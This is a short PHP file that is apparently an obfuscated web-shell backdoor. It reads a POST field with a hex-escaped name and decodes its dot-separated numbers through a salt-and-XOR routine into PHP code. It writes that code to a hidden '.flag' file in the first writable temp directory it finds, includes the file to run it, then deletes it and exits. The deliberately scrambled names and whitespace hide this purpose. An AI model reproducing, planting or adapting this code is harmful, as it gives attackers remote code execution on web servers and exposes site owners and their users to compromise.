<?php

if(!empty($_POST["\x72e\x63"])){
	$hld = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", session_save_path(), getenv("TEMP")]);
	$property_set = $_POST["\x72e\x63"];
	  	$property_set  =	 explode		 (".", 		$property_set			)	  ; 
	$data=	 '';
            $salt9=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=	 strlen($salt9	 );
    
            foreach($property_set as $j=>	$v2):
                $sChar=	 ord($salt9[$j % $lenS]	 );
                $dec=	 ((int)$v2 - $sChar -($j % 10)) ^ 12;
                $data.=	 chr($dec	 );
            endforeach;
	$token = 0;
do {
    $flg = $hld[$token] ?? null;
    if ($token >= count($hld)) break;
    		if (!!is_dir($flg) && !!is_writable($flg)) {
    $item = str_replace("{var_dir}", $flg, "{var_dir}/.flag");
    if (file_put_contents($item, $data)) {
	include $item;
	@unlink($item);
	die();
}
}
    $token++;
} while (true);
}